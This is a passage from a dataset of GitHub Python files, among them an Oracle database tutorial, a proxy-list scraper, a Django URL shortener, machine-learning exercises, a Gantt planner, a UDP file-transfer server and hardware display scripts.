FullyConnectedNet(layer_list)\n","repo_name":"qthequartermasterman/Experimental-Neural-Networks","sub_path":"models/plain_fully_connected.py","file_name":"plain_fully_connected.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7982229750","text":"# pip install cx_Oracle\r\nimport cx_Oracle\r\nconn=cx_Oracle.connect(\"hr/happy@localhost:1521/xe\")\r\ncursor=conn.cursor() # 커서 오픈 \r\nsql=\"\"\"\r\n UPDATE python_student SET \r\n name=:1 , kor=:2 , eng=:3 , math=:4\r\n WHERE hakbun=:5\r\n \"\"\"\r\ndata=('홍길동 수정',80,90,75,1)\r\ncursor.execute(sql,data)\r\nconn.commit()\r\ncursor.close()\r\n\r\ncursor=conn.cursor()\r\nsql=\"SELECT * FROM python_student\"\r\ncursor.execute(sql)\r\nfor row in cursor:\r\n print(row)\r\ncursor.close()\r\nconn.close()\r\n","repo_name":"chaijewon/2021-05-18-PythonStudy","sub_path":"PythonBasicProject3/python_basic/basic5.py","file_name":"basic5.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36109101018","text":"#-*- coding: utf-8 -*-\n\nfrom urllib import request\nimport os\nfrom bs4 import BeautifulSoup\nimport string\nimport re\nimport datetime\n\n# url = input(\"网站地址:\")\n\nurl = \"http://www.proxy360.cn/default.aspx\"\n\nheaders = { 'User-Agent' : \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",\n 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n 'Accept-Encoding' : 'gzip, deflate, sdch',\n 'Accept-Language' : 'zh-CN,zh;q=0.8',\n 'Cache-Control' : 'max-age=0',\n 'Connection' : 'keep-alive',\n 'Host' : 'www.xicidaili.com',\n 'Referer' : 'https://www.baidu.com/link?url=hmj1JZYNYN7lIBvk5s7FSmM1FNEzxf_C7ass2zNM0miVclY9_TVwrHmgSqxIukCH&wd=&eqid=97e797a400041b130000000457cd3262',\n 'Upgrade-Insecure-Requests' : '1'}\npox_list = []\nreq = request.Request(url)\nwith request.urlopen(req, timeout= 120) as f:\n html = f.read().decode('utf-8')\n soup = BeautifulSoup(html)\n cont = soup.find_all('div', id='ctl00_ContentPlaceHolder1_upProjectList')\n list = BeautifulSoup(str(cont))\n result = list.find_all('div',class_='proxylistitem')\n\n for r in result:\n text = r.text\n text = text.replace('\\r\\n','').replace('\\n', '').lstrip()\n contlist = re.split('\\s+',text)\n pox = (contlist[0],contlist[1])\n pox_list.append(pox)\n\n t = datetime.datetime.now().strftime(\"%Y%m%d_%H%M%S\")\n\n file = open('d:/poxy/poxy_' + t + '.txt', 'w')\n for px in pox_list:\n pxw = 'http://' + px[0] + ':' + px[1] + '/'\n file.write(pxw)\n file.write('\\n')\n file.close()\n\n print(pox_list)\n","repo_name":"xzenge/tools","sub_path":"tupian.py","file_name":"tupian.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"13031187527","text":"# -*- coding: utf-8 -*-\n\"\"\"Helper functions to load and save CSV data.\n\nThis contains a helper function for loading and saving CSV files.\n\n\"\"\"\nimport csv\n\n\ndef load_csv(csvpath):\n\n \"\"\"Reads the CSV file from path provided.\n\n Args:\n csvpath (Path): The csv file path.\n\n Returns:\n A list of lists that contains the rows of data from the CSV file.\n\n \"\"\"\n with open(csvpath, \"r\") as csvfile:\n data = []\n csvreader = csv.reader(csvfile, delimiter=\",\")\n\n # Skip the CSV Header\n next(csvreader)\n\n # Read the CSV data\n for row in csvreader:\n data.append(row)\n return data\n\ndef save_csv(user_save_path_ouput, qualifying_loans):\n\n \"\"\"Writes to a csv file\n\n Args: \n user_save_path_ouput: the desired output path for the new csv content\n qualifying_loans: the data to be written into the csv file\n\n \"\"\"\n\n #qual_loanscsv_output_path = questionary.text(\"Please the desired path for your new saved csvfile\").ask()\\\n header = [\"Lender\", \"Loan Amount,Max\", \"LTV,Max\", \"DTI,Min\", \"Credit Score\", \"Interest Rate\"]\n #currently written to intake output path from save_qualifying_loans() in app.py\n with open (user_save_path_ouput, 'w', newline='') as user_qual_loans_csvfile:\n user_qual_loans_csvwriter = csv.writer(user_qual_loans_csvfile)\n user_qual_loans_csvwriter.writerow(header)\n for row in qualifying_loans:\n user_qual_loans_csvwriter.writerow(row)","repo_name":"rhurst11/Fintech_Module_2_Challenge","sub_path":"Workspace_Plus_Test/loan_modules/qualifier/utils/fileio.py","file_name":"fileio.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"5861643499","text":"import keras_tuner\n\nfrom autokeras.engine import tuner as tuner_module\n\n\nclass Hyperband(keras_tuner.Hyperband, tuner_module.AutoTuner):\n \"\"\"KerasTuner Hyperband with preprocessing layer tuning.\"\"\"\n\n def __init__(\n self, max_epochs: int = 1000, max_trials: int = 100, *args, **kwargs\n ):\n super().__init__(max_epochs=max_epochs, *args, **kwargs)\n self.oracle.max_trials = max_trials\n","repo_name":"keras-team/autokeras","sub_path":"autokeras/tuners/hyperband.py","file_name":"hyperband.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":8985,"dataset":"github-code","pt":"67"} +{"seq_id":"18607697326","text":"from django.shortcuts import redirect\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\nfrom .models import UrlShortener\nfrom django.core.cache import cache\nfrom api.tasks import increment_click\n\n@api_view(['POST'])\ndef create_shortened_url(request):\n data = request.data\n long_url, short_url= data['long_url'], data['short_url']\n\n if len(short_url) > 10:\n return Response({'status':'fail', 'message':'10 characters max ;('})\n\n if not long_url.startswith('http://') and not long_url.startswith('https://'):\n long_url = \"https://\"+long_url\n\n try:\n inCache = cache.get(short_url)\n if inCache:\n return Response({'status':'fail', 'message':'Path taken, try again!'})\n \n UrlShortener.objects.get(short_url=short_url)\n return Response({'status':'fail', 'message':'Path taken, try again!'})\n\n except UrlShortener.DoesNotExist:\n UrlShortener.objects.create(\n long_url=long_url,\n short_url=short_url,\n clicks=0,\n )\n cache.set(short_url,long_url)\n return Response({'status':'success','short_url': short_url})\n\n@api_view(['POST'])\ndef check_click_count(request):\n data = request.data\n short_url= data['short_url']\n\n if len(short_url) > 10:\n return Response({'status':'fail', 'message':'Link does not exist ;('})\n\n try:\n obj = UrlShortener.objects.get(short_url=short_url)\n return Response({'status':'success', 'clicks':obj.clicks})\n\n except UrlShortener.DoesNotExist:\n return Response({'status':'fail', 'message':'Link does not exist ;('})\n\ndef redirect_url(_request, short_url):\n try:\n long_url = cache.get(short_url)\n if long_url:\n increment_click.delay(short_url)\n return redirect(long_url)\n\n obj = UrlShortener.objects.get(short_url=short_url)\n\n except UrlShortener.DoesNotExist:\n obj = None\n\n if obj is not None:\n cache.set(short_url,obj.long_url)\n increment_click.delay(short_url)\n return redirect(obj.long_url)\n else:\n return redirect(\"/\")","repo_name":"colin-ho/Short-URL","sub_path":"backend/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28493885937","text":"class Solution:\n def lengthOfLastWord(self, s: str) -> int:\n s = s.strip() # Remove leading and trailing spaces\n length = 0\n \n for i in range(len(s) - 1, -1, -1):\n if s[i] == ' ':\n break\n length += 1\n \n return length\n ","repo_name":"fasil729/Comptetive-Programming-A2SV","sub_path":"0058-length-of-last-word/0058-length-of-last-word.py","file_name":"0058-length-of-last-word.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"17875780612","text":"# pylint: disable=invalid-name\nimport django.db.models.deletion\nfrom django.db import migrations, models\n\nimport upperroom.weblog.models\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n (\"directory\", \"0006_add_can_view_permission\"),\n ]\n\n operations = [\n migrations.CreateModel(\n name=\"WeblogEntry\",\n fields=[\n (\"id\", models.AutoField(verbose_name=\"ID\", serialize=False, auto_created=True, primary_key=True)),\n (\"title\", models.CharField(verbose_name=\"title\", max_length=64)),\n (\"slug\", models.SlugField(verbose_name=\"slug\", unique_for_month=\"created\")),\n (\"description\", models.TextField(verbose_name=\"description\", null=True, blank=True)),\n (\"body\", models.TextField(verbose_name=\"body\", null=True, blank=True)),\n (\"show_author\", models.BooleanField(verbose_name=\"show author\", default=True)),\n (\"created\", models.DateTimeField(verbose_name=\"created\", auto_now_add=True)),\n (\"modified\", models.DateTimeField(verbose_name=\"modified\", auto_now=True)),\n (\"published\", models.DateTimeField(verbose_name=\"published\", null=True, blank=True)),\n (\"show_date\", models.BooleanField(verbose_name=\"show date\", default=True)),\n (\"is_published\", models.BooleanField(verbose_name=\"published\", default=False)),\n (\n \"author\",\n models.ForeignKey(\n verbose_name=\"author\",\n related_name=\"weblogs\",\n to=\"directory.Person\",\n on_delete=django.db.models.deletion.SET_NULL,\n null=True,\n blank=True,\n ),\n ),\n ],\n options={\n \"ordering\": [\"-published\"],\n \"get_latest_by\": \"published\",\n \"verbose_name\": \"weblog entry\",\n \"verbose_name_plural\": \"weblog entries\",\n },\n ),\n migrations.CreateModel(\n name=\"Attachment\",\n fields=[\n (\"id\", models.AutoField(verbose_name=\"ID\", serialize=False, auto_created=True, primary_key=True)),\n (\"title\", models.CharField(verbose_name=\"title\", max_length=64)),\n (\"slug\", models.SlugField(verbose_name=\"slug\")),\n (\n \"file\",\n models.FileField(verbose_name=\"file\", upload_to=upperroom.weblog.models.get_attachment_filename),\n ),\n (\"mime_type\", models.CharField(verbose_name=\"MIME type\", max_length=128, editable=False)),\n (\n \"kind\",\n models.CharField(\n verbose_name=\"kind\", default=\"I\", max_length=1, choices=[(\"A\", \"Alternate\"), (\"I\", \"Inline\")]\n ),\n ),\n (\n \"entry\",\n models.ForeignKey(\n verbose_name=\"entry\",\n related_name=\"attachments\",\n to=\"weblog.WeblogEntry\",\n on_delete=django.db.models.deletion.CASCADE,\n ),\n ),\n ],\n options={\n \"verbose_name\": \"attachment\",\n \"verbose_name_plural\": \"attachments\",\n \"ordering\": [\"entry\"],\n \"unique_together\": {(\"entry\", \"slug\")},\n },\n ),\n ]\n","repo_name":"thepointchurch/upperroom","sub_path":"upperroom/weblog/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":3596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"203830986","text":"import numpy as np\n\nfrom load_data_ex1 import *\nfrom normalize_features import *\nfrom gradient_descent import *\nfrom plot_data_function import *\nfrom plot_boundary import *\nimport matplotlib.pyplot as plt\nimport os\n\nfigures_folder = os.path.join(os.getcwd(), 'figures')\nif not os.path.exists(figures_folder):\n os.makedirs(figures_folder, exist_ok=True)\n\n# This loads our data\nX, y = load_data_ex1()\n\n# Create the features x1*x2, x1^2 and x2^2\n#########################################\n# Write your code here\n# Compute the new features\n# Insert extra singleton dimension, to obtain Nx1 shape\n# Append columns of the new features to the dataset, to the dimension of columns (i.e., 1)\nx1 = X[:, 0, None]\nx2 = X[:, 1, None]\nfeatures = [x1 * x2, x1 ** 2, x2 ** 2]\nfor i in range(len(features)):\n X = np.append(X, features[i], axis=1)\n#########################################\n\n# Normalize\nX_normalized, mean_vec, std_vec = normalize_features(X)\n\n# After normalizing, we append a column of ones to X_normalized, as the bias term\ncolumn_of_ones = np.ones((X_normalized.shape[0], 1))\n# append column to the dimension of columns (i.e., 1)\nX_normalized = np.append(column_of_ones, X_normalized, axis=1)\n\n# Initialise trainable parameters theta\n#########################################\n# Write your code here\ntheta = np.zeros(6)\n#########################################\n\n# Set learning rate alpha and number of iterations\nalpha = 1.0\niterations = 100\n\n# Call the gradient descent function to obtain the trained parameters theta_final and the cost vector\ntheta_final, cost_vector = gradient_descent(X_normalized, y, theta, alpha, iterations)\n\n# Plot the cost for all iterations\nfig, ax1 = plt.subplots()\nplot_cost(cost_vector, ax1)\nplot_filename = os.path.join(os.getcwd(), 'figures', 'ex3_cost.png')\nplt.savefig(plot_filename)\nmin_cost = np.min(cost_vector)\nargmin_cost = np.argmin(cost_vector)\nprint('Final cost: {:.5f}'.format(cost_vector[-1]))\nprint('Minimum cost: {:.5f}, on iteration #{}'.format(min_cost, argmin_cost + 1))\n\n# enter non-interactive mode of matplotlib, to keep figures open\nplt.ioff()\nplt.show()\n","repo_name":"mughees-asif/postgraduate-artificial-intelligence","sub_path":"Semester A/Machine Learning/projects/project1/assgn_1_part_2/1_logistic_regression/ml_assgn1_ex3.py","file_name":"ml_assgn1_ex3.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"67"} +{"seq_id":"70319142935","text":"import csv\n\n\nclass bcolors:\n HEADER = '\\033[94m'\n OKGREEN = '\\033[92m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n ENDC = '\\033[0m'\n\n\nclass task:\n def __init__(self, name, dependencies, time):\n self.name = name\n self.dependencies = []\n for item in dependencies:\n if item != \" \" and item != \",\":\n self.dependencies += [item]\n self.time = int(time)\n self.start = -1\n self.stop = -1\n self.next = []\n self.sooner_num = -1\n self.latter_num = -1\n self.sooner_date = -1\n self.latter_date = -1\n\n def set_time(self, start, stop):\n self.start = start\n self.stop = stop\n\n def add_next(self, task):\n self.next += [task]\n\n def planification(self, end_date, time_needed):\n months = [\"jan\", \"fev\", \"mars\", \"avr\", \"mai\", \"juin\", \"juil\", \"août\", \"sept\", \"oct\", \"nov\", \"dec\"]\n\n def convert_to_date(date, end_date):\n end_month, end_year = end_date\n end_months = end_month + end_year * 12\n return (months[(end_months - (time_needed - date)) % 12], (end_months - (time_needed - date)) // 12)\n\n latter = time_needed\n if not self.next:\n latter = time_needed\n else:\n for d in self.next:\n dep = find_task_by_name(d, tasks)\n latter = min(latter, dep.sooner_num)\n self.latter_num = latter - 1\n self.sooner_num = latter - self.time\n self.latter_date = convert_to_date(self.latter_num, end_date)\n self.sooner_date = convert_to_date(self.sooner_num, end_date)\n\n\ndef reading_csv_file(file):\n \"\"\"\n Lit un fichier csv et retourne un tableau des tâches lues\n :param file: le fichier csv\n :return: une liste de tâches\n \"\"\"\n print(bcolors.HEADER + \"Ouverture du fichier csv...\" + bcolors.ENDC)\n tasks = []\n with open(file=file, mode='r') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=';')\n line_count = 0\n for row in csv_reader: # On ne lit pas la première ligne du fichier\n if line_count == 0:\n line_count += 1\n else:\n tasks += [task(name=row[0], dependencies=row[1], time=row[2])]\n print(\n f\"\\tLa tâche {row[0]} ({row[3]}) doit être réalisée après les tâches {row[1]}. Son temps d'exécution est de {row[2]} mois.\")\n line_count += 1\n print(bcolors.OKGREEN + \"Lecture du fichier terminée.\" + bcolors.ENDC, end=\" \")\n print(\"Il y a {lines} tâches.\".format(lines=line_count - 1), end=\"\\n\\n\")\n return tasks\n\n\ndef print_tasks(tasks):\n for task in tasks:\n # name\n print(\"{name} :\".format(name=task.name), end=\" \")\n\n if task.start == -1 or task.stop == -1:\n print(\"this task is undefined\", end=\" \")\n else:\n # goes to the start\n print(\" \" * task.start, end=\" \")\n\n # prints the task\n print(\"X\" * task.time, end=\" \")\n\n # goes to the next row\n print(\"\")\n\n\ndef basic_print_tasks(tasks):\n def basic_print_task(task):\n print(\"{name}, dep:{dep}, start:{start}, stop:{stop}, time:{time}\".format(name=task.name, dep=task.dependencies,\n start=task.start, stop=task.stop,\n time=task.time))\n\n for task in tasks:\n basic_print_task(task)\n\n\ndef find_task_by_name(name, tasks):\n for task in tasks:\n if task.name == name:\n return task\n print(\"task not found\")\n return ReferenceError\n\n\ndef process_tasks(tasks):\n \"\"\"\n Définit les temps de départ et de fin des tâches d'une liste triée\n :param tasks: une liste de tâches triées par sort_tasks_dependencies\n :return: la liste mise à jour, le temps nécéssaire pour réaliser le projet\n \"\"\"\n print(bcolors.HEADER + \"Traitement des tâches...\" + bcolors.ENDC, end=\" \")\n time_needed = 0\n task_ind = 0\n while task_ind < len(tasks):\n dependencies = tasks[task_ind].dependencies\n if not dependencies: # first task\n tasks[task_ind].set_time(start=0, stop=tasks[task_ind].time)\n time_needed = max(time_needed, tasks[task_ind].time)\n else: # autres tâches\n # trouve la dépendance avec le temps de fin le plus élevé\n latest = 0\n for i in range(len(dependencies)):\n dep_task = find_task_by_name(dependencies[i], tasks)\n latest = max(latest, dep_task.stop)\n # définit le start et le stop de la tâche\n tasks[task_ind].set_time(start=latest, stop=latest + tasks[task_ind].time)\n time_needed = max(time_needed, dep_task.stop + tasks[task_ind].time)\n task_ind += 1\n print(bcolors.OKGREEN + \"DONE\" + bcolors.ENDC)\n return tasks, time_needed\n\n\ndef sort_tasks_dependencies(tasks):\n \"\"\"\n Trie la liste de tâches de façon à ce que les tâches y1 à yn qu'il faut réaliser avant Y se trouvent devant Y dans la liste.\n :param tasks: une liste (non-triée)\n :return: une liste triée\n \"\"\"\n print(bcolors.HEADER + \"Tri des tâches en fonction de leurs dépendances...\" + bcolors.ENDC, end=\" \")\n length = len(tasks)\n sorted, sorted_names = [], []\n\n # fonction qui ne sert qu'à factoriser un peu le code\n def add_task(task_ind, sorted, sorted_names):\n sorted += [tasks[task_ind]]\n sorted_names += [tasks[task_ind].name]\n tasks.pop(task_ind)\n\n # init : les tâches qui n'ont aucune dépendance\n for task_ind in range(len(tasks) - 1):\n if not tasks[task_ind].dependencies:\n add_task(task_ind, sorted, sorted_names)\n\n # processing : les autres tâches\n task_ind = 0\n while len(sorted_names) < length:\n if task_ind >= len(tasks):\n task_ind = 0\n dep_names = tasks[task_ind].dependencies\n if all(elem in sorted_names for elem in dep_names):\n add_task(task_ind, sorted, sorted_names)\n task_ind += 1\n print(bcolors.OKGREEN + \"DONE\" + bcolors.ENDC)\n return sorted\n\n\ndef sort_tasks_alphabetically(tasks):\n \"\"\"\n Permet de trier alphabétiquement les tâches pour l'affichage de fin.\n C'est un tri par insertion.\n :param tasks: une liste de tâches\n :return: la liste de tâches triées\n \"\"\"\n print(bcolors.HEADER + \"Tri des tâches alphabétiquement...\" + bcolors.ENDC, end=\" \")\n for i in range(1, len(tasks)):\n key_task = tasks[i]\n j = i - 1\n while j >= 0 and key_task.name < tasks[j].name:\n tasks[j + 1] = tasks[j]\n j -= 1\n tasks[j + 1] = key_task\n print(bcolors.OKGREEN + \"DONE\" + bcolors.ENDC)\n return tasks\n\n\ndef plot_tasks(tasks, time_needed):\n \"\"\"\n Crée un plot du graph de Gantt correspondant au projet étudié\n :param tasks: la liste des tâches complétées\n :param time_needed: le temps pour réaliser le projet (affiché en titre de graph)\n \"\"\"\n print(bcolors.HEADER + \"Affichage du graph de Gantt...\" + bcolors.ENDC, end=\" \")\n import matplotlib.pyplot as plt\n length = len(tasks)\n fig, gnt = plt.subplots()\n gnt.set_xlabel('Mois')\n gnt.set_ylabel('Tâches')\n plt.title('Temps nécéssaire = {time} mois'.format(time=time_needed))\n gnt.set_yticks([length * 10 + 5 - i * 10 for i in range(length)])\n gnt.grid(True)\n this_task = 0\n labels = []\n for task in tasks:\n gnt.broken_barh([(task.start, task.time)], (length * 10 - this_task * 10, 9), facecolors=('tab:blue'))\n labels += [task.name]\n this_task += 1\n gnt.set_yticklabels(labels)\n print(bcolors.OKGREEN + \"DONE\" + bcolors.ENDC)\n plt.savefig(\"figure.png\")\n plt.show()\n\n\ndef planification_au_plus_tard(tasks, end_date, time_needed):\n \"\"\"\n Calcule la planification au plus tard d'un projet\n :param tasks: les tâches\n :param end_date: la date de fin du projet : 07/2020 pour juillet 2020\n :param time_needed: le temps nécéssaire pour réaliser le projet (calculé précédemment)\n :return: un beau tableau\n \"\"\"\n print(bcolors.HEADER + \"Planification au plus tard\" + bcolors.ENDC)\n\n def definir_suivantes(tasks):\n for task in tasks:\n dependencies = task.dependencies\n for d in dependencies:\n dep = find_task_by_name(d, tasks)\n dep.add_next(task.name)\n\n definir_suivantes(tasks)\n tasks.reverse()\n for task in tasks:\n task.planification(end_date, time_needed)\n planification = []\n for task in tasks:\n planification += [[task.name, task.next, task.time, task.sooner_date, task.latter_date]]\n from tabulate import tabulate\n print(tabulate(planification, headers=['Tâche', 'Suivantes', 'Durée', 'Début au plus tard', 'Fin au plus tard']))\n print(bcolors.OKGREEN + \"DONE\" + bcolors.ENDC)\n\n\nif __name__ == \"__main__\":\n tasks = reading_csv_file(\"../data_tasks.csv\")\n\n # GANTT\n tasks = sort_tasks_dependencies(tasks)\n tasks, time_needed = process_tasks(tasks)\n tasks = sort_tasks_alphabetically(tasks)\n plot_tasks(tasks, time_needed)\n\n # PLANIFICATION AU PLUS TARD\n end_date = (7, 2017) # juillet 2017\n planification_au_plus_tard(tasks, end_date, time_needed)\n","repo_name":"antoinepringalle/management_gantt_solveur","sub_path":"src/gantt_chart_maker.py","file_name":"gantt_chart_maker.py","file_ext":"py","file_size_in_byte":9411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35076673713","text":"import json\r\nimport time\r\n\r\nelapsed_time = 0\r\n\r\nwhile True:\r\n current_time_in_seconds = time.time()\r\n updated_time_in_seconds = current_time_in_seconds + 3600\r\n\r\n updated_time = time.gmtime(updated_time_in_seconds)\r\n\r\n # Code, der alle 5 Minuten ausgeführt werden soll\r\n data = {\r\n \"time\": time.strftime(\"%Y-%m-%d %H:%M:%S\", updated_time),\r\n \"status\": f\"Der Raspberry PI lauft nun seit {elapsed_time} Minuten\"\r\n }\r\n\r\n # Schreiben von Daten in eine JSON-Datei\r\n with open(\"testt.json\", \"w\") as file:\r\n json.dump(data, file)\r\n\r\n time.sleep(300)\r\n elapsed_time += 5\r\n","repo_name":"J4FF/Time-Counter","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73165997332","text":"from dotenv import load_dotenv\nfrom os import getenv\nload_dotenv()\n\nWEB_SCOCKET = \"wss://stream.binance.com:9443/ws/ethusdt@kline_1m\"\nRSI_PERIOD = 14\nRSI_OVERBOUGHT = 70\nRSI_OVERSOLD = 30\nTRADE_SYMBOL = 'ETHUSD'\nTRADE_QUANTITY = 0.01\nAPI_KEY= getenv('API_KEY')\nAPI_SECRET= getenv('API_SECRET')\n","repo_name":"DanielDaCosta/crypto-bot","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"3694108755","text":"import math\n\ndef Q(x):\n print(\"\\n第\",x,\"問\")\n\n\n#1「正解」4つの属性をインスタンス変数に持つ、apple属性を定義\nQ(1)\n\nclass Apple:\n def __init__(self,w,c,s,p):\n #重さ(w)、色(c)、サイズ(s)、値段(p)\n self.weight = w\n self.color = c\n self.size = s\n self.price = p\n print(\"作成しました\")\n\n\n#2「正解」円を表すcircleクラスを定義\nQ(2)\nclass Circle:\n def __init__(self,r):\n #半径(r)\n self.radius = r\n print(\"円を作成しました。 半径:\",r)\n\n def area(self):\n return (self.radius ** 2) * math.pi\n\ncircle1 = Circle(4)\narea1 = circle1.area()\nprint(\"面積:\",area1)\n\n\n#3「正解」三角形を表すTriangleクラスを定義\nQ(3)\nclass Triangle:\n def __init__(self,us,s2,s3,h):\n #底辺(us)、他の2辺(s2,s3)、高さ(h)\n self.underside = us\n self.side2 = s2\n self.side3 = s3\n self.hight = h\n print(\"三角形を作成しました\")\n\n def area(self):\n return (self.underside * self.hight) / 2\n\n def area_2(self):\n x = (self.underside + self.side2 + self.side3) / 2\n return math.sqrt( \\\n x * (x - self.underside) * (x - self.side2) * (x - self.side3) \\\n )\n\ntriangle1 = Triangle(3,\"unknown\",\"unknown\",100)\ntriangle2 = Triangle(3,4,5,\"unknown\")\narea1 = triangle1.area()\narea2 = triangle2.area_2()\nprint(area1)\nprint(area2)\n\n\n#4「正解」六角形を表すHexagonクラスを定義\nQ(4)\n\nclass Hexagon:\n def __init__(self,s1,s2,s3,s4,s5,s6):\n #各辺1〜6\n self.side1 = s1\n self.side2 = s2\n self.side3 = s3\n self.side4 = s4\n self.side5 = s5\n self.side6 = s6\n print(\"六角形を作成しました\")\n\n def culculate_perimeter(self):\n sum = self.side1 + self.side2 + self.side3 + \\\n self.side4 + self.side5 + self.side6\n return sum\n\nhexagon1 = Hexagon(2,3,5,1,5,3)\nperimeter1 = hexagon1.culculate_perimeter()\nprint(perimeter1)\n\n\n\n \n\n\n","repo_name":"gongon84/challenge","sub_path":"challenge12.py","file_name":"challenge12.py","file_ext":"py","file_size_in_byte":2065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21540835673","text":"import socket\nimport sys\nfrom Packet import Packet\nfrom Packet import calculate2ByteChecksum\nfrom Packet import extract_data\nimport time\nimport random\n# Simple_ftp_server port# file-name p\nclient_ip = sys.argv[1]\nclient_port_number = int(sys.argv[2])\nfilename = sys.argv[3]\nprobability_of_loss = float(sys.argv[4])\nserver_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n# client_ip = '127.0.0.1'\nbind_port = 7735\nserver_socket.bind(('', bind_port))\nserver_socket.settimeout(10)\n# server.listen(5) # max backlog of connections\nCURRENT_SEQUENCE_NUMBER = 0\nRTT = 0\nstartRTTCalc = True\nrepeatSeq = 0\nrepeatSeqCount=0\ntry:\n with open(filename, 'w') as outfile:\n while True:\n request, address = server_socket.recvfrom(1024)\n # print(request)\n if request == b'END':\n print(\"Done sending\")\n RTT = time.time() - RTT\n break\n if startRTTCalc:\n RTT = time.time()\n startRTTCalc = False\n checksum = calculate2ByteChecksum(request)\n received_checksum = request[4]<<8\n received_checksum = received_checksum + request[5]\n data = extract_data(request)\n if CURRENT_SEQUENCE_NUMBER == int(data[0]) and checksum == received_checksum and random.uniform(0, 1) > probability_of_loss:\n outfile.write(data[3].decode(\"utf-8\"))\n packet = Packet(int(data[0]), 43690)\n server_socket.sendto(packet.packetData, (client_ip, client_port_number))\n CURRENT_SEQUENCE_NUMBER += 1\n else:\n print(\"Packet loss, sequence number =\", data[0])\n # print(\"RTT: \", RTT)\nexcept Exception as e:\n print(e)\n print(\"Connection broken\")\n","repo_name":"uddhavb/Go-Back-N-ARQ-and-Selective-Repeat-ARQ","sub_path":"Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71452030295","text":"import os\nimport sys\nimport time\nimport Adafruit_GPIO.SPI as SPI\nimport Adafruit_SSD1306\nfrom PIL import Image\n\npath = \"./myfifo\"\nRST = 24\nrightEye = Adafruit_SSD1306.SSD1306_128_32(rst=RST, i2c_address=0x3c)\nleftEye = Adafruit_SSD1306.SSD1306_128_32(rst=RST, i2c_address=0x3d)\n\nfocused_right = Image.open('./i2c-eyes/focus-eyes2.png').convert('1')\nfocused_left = Image.open('./i2c-eyes/focus-eyes.png').convert('1')\ncute_eye = Image.open('./i2c-eyes/eyes-block.png').convert('1')\nrightEye.begin()\nleftEye.begin()\n\ndef fastEyes():\n global rightEye\n global leftEye\n global focused_right\n global focused_left\n leftEye.clear()\n rightEye.clear()\n leftEye.image(focused_left)\n rightEye.image(focused_right)\n leftEye.display()\n rightEye.display()\n\ndef slowEyes():\n global rightEye\n global leftEye\n global cute_eye\n leftEye.clear()\n rightEye.clear()\n leftEye.image(cute_eye)\n rightEye.image(cute_eye)\n leftEye.display()\n rightEye.display()\n\n\nfifo = open(path, \"r\")\nprint(\"fifo open\")\nfor line in fifo:\n if \"fast\" in str(line):\n fastEyes()\n else:\n slowEyes()\nfifo.close()\n","repo_name":"luminositylab/KIP-Backend","sub_path":"node-server/fifo-eyes.py","file_name":"fifo-eyes.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21374139063","text":"# global\nimport ivy\nimport argparse\nimport ivy_mech\n\n\ndef main(fw=None):\n # Framework Setup #\n # ----------------#\n\n # choose random framework\n\n fw = ivy.choose_random_backend() if fw is None else fw\n ivy.set_backend(fw)\n\n # Orientation #\n # ------------#\n\n # rotation representations\n\n # 3\n rot_vec = ivy.array([0.0, 1.0, 0.0])\n\n # 3 x 3\n rot_mat = ivy_mech.rot_vec_to_rot_mat(rot_vec)\n\n # 3\n euler_angles = ivy_mech.rot_mat_to_euler(rot_mat, \"zyx\")\n\n # 4\n quat = ivy_mech.euler_to_quaternion(euler_angles)\n\n # 4\n ivy_mech.quaternion_to_axis_angle(quat)\n\n # Pose #\n # -----#\n\n # pose representations\n\n # 3\n position = ivy.ones_like(rot_vec)\n\n # 6\n rot_vec_pose = ivy.concat([position, rot_vec], axis=0)\n\n # 3 x 4\n mat_pose = ivy_mech.rot_vec_pose_to_mat_pose(rot_vec_pose)\n\n # 6\n euler_pose = ivy_mech.mat_pose_to_euler_pose(mat_pose)\n\n # 7\n quat_pose = ivy_mech.euler_pose_to_quaternion_pose(euler_pose)\n\n # 6\n ivy_mech.quaternion_pose_to_rot_vec_pose(quat_pose)\n\n # Position #\n # ---------#\n\n # conversions of positional 